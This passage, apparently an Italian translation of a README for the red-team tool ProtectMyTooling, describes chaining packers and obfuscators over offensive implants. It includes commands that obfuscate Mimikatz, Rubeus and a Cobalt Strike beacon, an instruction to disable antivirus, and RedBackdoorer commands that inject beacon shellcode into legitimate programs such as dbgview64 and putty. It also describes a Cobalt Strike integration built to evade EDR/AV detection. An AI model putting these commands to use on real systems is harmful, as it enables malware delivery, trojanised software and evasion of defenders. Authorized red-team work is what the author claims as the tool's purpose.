L'esempio sopra passerà prima `mimikatz.exe` a Hyperion per l'offuscamento, e poi il risultato sarà fornito a UPX per la compressione. Risultando in `UPX(Hyperion(file))`

## Caratteristiche

- Supporta diversi PE Packers, .NET Obfuscators, Shellcode Loaders/Builders
- Permette di concatenare packer dove l'output di un packer viene passato al successivo: `callobf,hyperion,upx` produrrà un artefatto `UPX(Hyperion(CallObf(file)))`
- Raccoglie IOCs a ogni passaggio di offuscamento in modo che le richieste di audit e Blue Team possano essere soddisfatte
- Offre funzionalità per iniettare Watermark personalizzati negli artefatti PE risultanti - nel DOS Stub, Checksum, come sezione PE indipendente, nell'Overlay del file
- Fornisce un pratico script aggressor di Cobalt Strike che introduce i comandi `protected-upload` e `protected-execute-assembly`
- Utilizzo semplice tramite riga di comando

## Installazione

**Questo strumento è stato progettato per funzionare su Windows, poiché la maggior parte dei packer hanno come target nativo quella piattaforma.**

Alcune funzionalità potrebbero comunque funzionare su Linux, tuttavia quel supporto non è completamente testato; si prega di segnalare bug e problemi.

1. Prima, **disattiva l'antivirus** e aggiungi la directory `contrib` alle esclusioni. Tale directory contiene offuscatori, protettori che verranno segnalati dall'AV e rimossi.
2. Poi clona questo repository```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

**Linux**```
bash# ./install.sh

## Configurazione

Per collegare gli offuscatori supportati, cambiare le opzioni predefinite o puntare **ProtectMyTooling** al percorso dell'eseguibile del tuo offuscatore, dovrai modificare il file di configurazione `config\ProtectMyTooling.yaml`.

Esiste anche il file `config\sample-full-config.yaml` che contiene tutte le opzioni disponibili per tutti i packer supportati, fungendo da punto di riferimento.


## Promemoria

- Se il binario prodotto si blocca o non funziona come previsto, prova a usare una catena di packer diversa.
- I packer non garantiscono la stabilità dei binari prodotti, quindi nemmeno ProtectMyTooling può farlo.
- Durante il concatenamento, abbina attentamente i formati output->input del payload secondo quanto previsto dal packer successivo.

---

## Utilizzo

Prima del primo utilizzo di `ProtectMyTooling`, è essenziale regolare il file di configurazione YAML del programma `ProtectMyTooling.yaml`. 
L'ordine di elaborazione dei parametri è il seguente:

- Prima vengono utilizzati i parametri predefiniti
- Poi vengono sovrascritti dai valori provenienti da YAML
- Infine, tutto ciò che viene fornito dalla riga di comando sovrascriverà i valori corrispondenti

Lì, i percorsi e le opzioni dei packer supportati devono essere impostati per abilitarli.

### Scenario 1: Offuscazione semplice con ConfuserEx

L'utilizzo è molto semplice, basta passare il nome dell'offuscatore da scegliere, i percorsi del file di input e di output:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

[...]

### Scenario 3: Offuscamento complesso di malware con watermarking e raccolta di IOC

Il caso d'uso seguente prende `beacon.exe` come input e lo alimenta consecutivamente nei packer `CallObf` -> `UPX` -> `Hyperion`.

Successivamente, inietterà il watermark specificato `fooobar` nel DOS Stub dell'artefatto finale generato, e modificherà anche il checksum di tale artefatto con il valore `0xAABBCCDD`.

Infine, ProtectMyTooling catturerà tutti gli IOC (md5, sha1, sha256, imphash e altri metadati) e li salverà in un file CSV ausiliario. Tale file può essere utilizzato per il matching degli IOC man mano che l'attività si svolge.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

## Supported Packers

`ProtectMyTooling` è stato progettato per supportare non solo Obfuscatori/Packer ma anche tutti i tipi di builder/generatori/loader di shellcode utilizzabili dalla riga di comando.

Al momento, il programma supporta vari packer/obfuscator commerciali e open-source. Quelli open-source sono inclusi nel progetto. Quelli commerciali richiederanno all'utente di acquistare il prodotto e configurare la sua posizione nel file `ProtectMyTooling.yaml` per indicare allo script dove trovarli.

1. [`Amber`](https://github.com/EgeBalci/amber) - Packer PE riflessivo che prende EXE/DLL in input e produce shellcode EXE/PIC
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Un packer PE altamente capace
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Un obfuscator console per assembly .NET di Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Obfusca specifiche API di Windows con diverse API.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Popolare obfuscator .NET, fork da [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Popolare loader PE che prende EXE/DLL/.NET in input e produce uno shellcode PIC
7. [`Enigma`](https://enigmaprotector.com/) - Un potente sistema progettato per la protezione completa dei file eseguibili
8. [`Freeze`](https://github.com/optiv/Freeze) - Prende un file EXE/DLL in input e ne produce uno in output con certificato clonato, IoC specifici di Golang rimossi e dimensione gonfiata. Di Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - crypter runtime per eseguibili portatili a 32 e 64 bit. È un'implementazione di riferimento e si basa sul documento "Hyperion: Implementation of a PE-Crypter"
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - combina una forte sicurezza delle licenze, funzionalità/schema di licenza altamente adattabili con una protezione affidabile degli assembly
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Obfusca script PowerShell con `Invoke-Obfuscation` (di Daniell Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Un obfuscator .NET gratuito e open source più avanzato che utilizza dnlib di AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Prende un file EXE/DLL in input e ne produce uno in output con certificato clonato, IoC specifici di Golang rimossi e dimensione gonfiata. Di Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Compressore MPRESS di Vitaly Evseenko. Prende input EXE/DLL/.NET/MAC-DARWIN (x86/x64) e lo comprime.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Sistema di protezione del codice .NET senza pari che impedisce completamente a chiunque di decompilare il tuo codice
16. [`NetShrink`](https://www.pelock.com/pl/prodotti/netshrink) - un packer exe alias compressore di eseguibili, protettore di password dell'applicazione e binder DLL virtuale per applicazioni .NET Windows e Linux.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Genera un loader Nim che esegue input .NET, PE o Shellcode Raw. Scritto da [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Prende Shellcode o eseguibile .NET in input, produce un loader EXE o DLL. Portato a voi da Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Prende eseguibile PE/Shellcode/.NET e genera un robusto loader EXE/DLL Nim+Syscalls. Sponsorware scritto da [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - wrapper attorno a `Packer64` di John Adams
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Converte PE in shellcode. Dal vostro [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Un codificatore multi-pass e strumento di bypass sandbox euristico per evasione AV
23. [`peresed`](https://github.com/avast/pe_tools) - Utilizza "_peresed_" da **avast/pe_tools** per rimuovere tutte le risorse PE esistenti e la firma _(pensa all'icona di Mimikatz)._
24. [`peunion`](https://bytecode77.com/pe-union) - Cripta eseguibili (x86 o .NET x86/x64), che vengono decriptati a runtime ed eseguiti in memoria
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - Loader di shellcode x64 elusivo per EDR che produce un artifact loader DLL/CPL/XLL/JScript/HTA
26. [`sgn`](https://github.com/EgeBalci/sgn) - Encoder Shikata ga nai (仕方がない) portato in go con diversi miglioramenti. Prende shellcode, produce shellcode codificato
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - obfuscator che aiuta a proteggere la tua applicazione contro reverse engineering o modifiche, rendendo difficile per terze parti accedere al tuo codice sorgente
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Converte DLL in shellcode position independent. Scritto da: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Sistema avanzato di protezione software per Windows
30. [`UPX`](https://upx.github.io/) - un packer di eseguibili gratuito, portabile, estendibile e ad alte prestazioni per diversi formati eseguibili.
31. [`VMProtect`](https://vmpsoft.com/) - protegge il codice eseguendolo su una macchina virtuale con architettura non standard che rende estremamente difficile analizzare e craccare il software

Puoi elencare rapidamente i packer supportati usando l'opzione `-L` (le colonne della tabella vengono scelte in base alla larghezza del terminale, più è largo, più informazioni vengono rivelate):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

C'è anche un approccio autonomo, incluso nello script `RedWatermarker.py`.

Prende in input un artefatto eseguibile e accetta alcuni parametri che indicano dove iniettare una watermark e quale valore deve essere inserito.

Un esempio di esecuzione imposterà il Checksum PE a 0xAABBCCDD, inserirà `foooobar` nel DOS Stub del file PE (byte contenenti _This program cannot be run..._), aggiungerà `bazbazbaz` all'overlay del file e quindi creerà una nuova sezione PE chiamata `.coco`, la aggiungerà alla fine del file e riempirà tale sezione con un marker preimpostato.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

                  ;
                  ED.
                 ,E#Wi

Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

Currently only PE files watermarking is supported, but in the future Office documents and other formats are to be added as well.

### Raccolta di IOC

Gli IOC possono essere raccolti semplicemente usando l'opzione `-i` durante l'esecuzione di `ProtectMyTooling`.

Vengono raccolti nelle seguenti fasi:

- sul file di input
- dopo ogni round di offuscation su un file intermedio
- sul file di output finale

Conterranno i seguenti campi salvati in un file CSV:

- `timestamp`
- `filename`
- `author` - formato come `username@hostname`
- `context` - indica se un record si riferisce a un file di input, output o intermedio
- `comment` - valore regolato dall'utente tramite l'opzione `-I value`
- `md5`
- `sha1`
- `sha256`
- `imphash` - Hash delle importazioni PE, se disponibile
- (TODO) `typeref_hash` - Hash dei TypeRef .NET, se disponibile

Il risultato sarà un file CSV chiamato `outfile-ioc.csv` salvato accanto all'artefatto di output generato. Questo file viene scritto in modalità APPEND, il che significa che riceverà tutti gli IOC successivi.

# RedBackdoorer - backdooring PE integrato

`ProtectMyTooling` utilizza il mio script `RedBackdoorer.py` che fornisce alcuni metodi per il backdooring di eseguibili PE. Il supporto viene fornito come un packer dedicato chiamato `backdoor`. Esempio di utilizzo:

**Prende shellcode di Cobalt Strike in input e lo codifica con SGN (Shikata Ga-Nai), quindi esegue il backdoor su SysInternals DbgView64.exe e produce il reflective loader Amber EXE**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

# Integrazione con Cobalt Strike

È disponibile anche uno script che integra `ProtectMyTooling.py` utilizzato come wrapper attorno a packer/protettori PE/.NET configurati per trasformare facilmente gli eseguibili di input nelle loro forme protette e compresse e poi caricarli o utilizzarli all'interno di CobaltStrike.

L'idea è di avere un processo automatizzato di protezione di tutti i binari caricati o degli assembly .NET utilizzati da execute-assembly e di dimenticarsi di proteggerli o offuscarli manualmente prima di ogni utilizzo. Il vantaggio aggiuntivo di un approccio automatizzato per trasformare gli eseguibili è la capacità di avere lo stesso eseguibile protetto ogni volta che viene utilizzato, risultando in campioni unici lanciati sulle macchine target. Ciò dovrebbe ingannare efficacemente le scansioni IOC su larga scala di EDR/AV, che cercano lo stesso artefatto su macchine diverse.

Inoltre, il comando `protected-execute-assembly` ha la capacità di cercare assembly di cui è stato fornito solo il nome in una directory di assembly preconfigurata (impostata nell'impostazione `dotnet_assemblies_directory`).

Per utilizzarlo:

1. Carica `CobaltStrike/ProtectMyTooling.cna` nel tuo Cobalt Strike.
2. Vai al menu e imposta tutte le opzioni

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Quindi nella console del tuo Beacon saranno disponibili i seguenti comandi:

  * `protected-execute-assembly` - Esegue un programma .NET locale, precedentemente protetto e compresso, in memoria sulla macchina target.
  * `protected-upload` - Prende un file di input, lo protegge se è un eseguibile PE e poi carica quel file nella posizione remota specificata.
  * `bofnet_load_protected` - Prende un file assembly .NET di input, lo passa attraverso la catena di packer .NET configurata, carica l'output generato con `bofnet_load`. [BOFNET](https://github.com/CCob/BOF.NET/) deve essere caricato separatamente affinché funzioni.

In pratica questi comandi apriranno i file di input, li passeranno prima allo script `CobaltStrike/cobaltProtectMyTooling.py`, che a sua volta chiama `ProtectMyTooling.py`. Non appena il binario viene offuscato, verrà passato al tuo beacon per l'esecuzione/caricamento.

## Opzioni relative a Cobalt Strike

Ecco un elenco di opzioni richieste dall'integratore di Cobalt Strike:

* `python3_interpreter_path` - Specifica il percorso all'eseguibile dell'interprete Python3
* `protect_my_tooling_dir` - Specifica il percorso alla directory principale di ProtectMyTooling
* `protect_my_tooling_config` - Specifica il percorso al file di configurazione di ProtectMyTooling con varie opzioni dei packer
* `dotnet_assemblies_directory` - Specifica il percorso locale in cui cercare gli assembly .NET se non vengono trovati da execute-assembly
* `cache_protected_executables` - Abilita per memorizzare nella cache gli eseguibili già protetti e riutilizzarli quando necessario
* `protected_executables_cache_dir` - Specifica il percorso a una directory che deve memorizzare gli eseguibili protetti in cache
* `default_exe_x86_packers_chain` - Catena di protettori/packer per eseguibili EXE nativi x86
* `default_exe_x64_packers_chain` - Catena di protettori/packer per eseguibili EXE nativi x64
* `default_dll_x86_packers_chain` - Catena di protettori/packer per eseguibili DLL nativi x86
* `default_dll_x64_packers_chain` - Catena di protettori/packer per eseguibili DLL nativi x64
* `default_dotnet_packers_chain` - Catena di protettori/packer per eseguibili .NET

---

## Problemi noti

- `ScareCrow` è molto difficile da eseguire da Windows. Quello che ha funzionato per me è il seguente:
  1. Eseguire su Windows 10 e avere WSL installato (comando `bash.exe` disponibile in Windows)
  2. Avere `golang` installato in WSL alla versione `1.16+` (testato su `1.18`)
  3. Assicurarsi di aver impostato `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True`

---

## Crediti e tecnologia utilizzata

- Tutti i crediti per packer, offuscatori, convertitori, loader vanno ai loro autori. Questo strumento è semplicemente un wrapper attorno alla loro tecnologia!
  - Spero che nessuno di loro si opponga all'aggiunta di tali wrapper. In caso di dubbi, contattatemi.
  
- _ProtectMyTooling_ utilizza anche [`denim.exe`](https://github.com/moloch--/denim) di **moloch--** per alcuni packer basati su Nim.

---

## TODO

- Scrivere un injector PE personalizzato e offrirlo come "protettore"
- Aggiungere watermarking ad altri formati di file come documenti Office, script WSH (VBS, JS, HTA) e contenitori
- Aggiungere supporto per alcuni altri Packer/Loader/Generator in futuro:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - due varianti, una per shellcode di input, l'altra per eseguibile

---

## Disclaimer

L'uso di questo strumento così come di qualsiasi altro progetto di cui sono autore per scopi illegali, hacking non autorizzato, cyber-spionaggio è strettamente vietato.
Questo e altri strumenti che distribuisco aiutano penetration tester professionisti, consulenti di sicurezza, ingegneri della sicurezza e altro personale di sicurezza a migliorare le capacità di cyber-difesa delle reti dei loro clienti.
In nessun caso gli autori o i detentori del copyright saranno responsabili per qualsiasi reclamo, danno o altra responsabilità derivante dall'uso illegale di questo software.

In caso di preoccupazioni, problemi di copyright, minacce poste da questo software o altre richieste - sono aperto a collaborare per affrontarli in modo responsabile.

Lo strumento espone un'interfaccia comoda per utilizzare per lo più software di packer/protettori/offuscamento open-source o commerciali, quindi non introduce alcuna nuova minaccia immediata al panorama della cybersicurezza così com'è.

---

### ☕ Mostra supporto ☕

Questo e altri progetti sono il risultato di notti insonni e **molto duro lavoro**. Se ti piace quello che faccio e apprezzi che io restituisca sempre qualcosa alla comunità,
[Considera l'idea di offrirmi un caffè](https://github.com/sponsors/mgeeky) _(o meglio una birra)_ solo per dire grazie! 💪 

---

## Autore```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)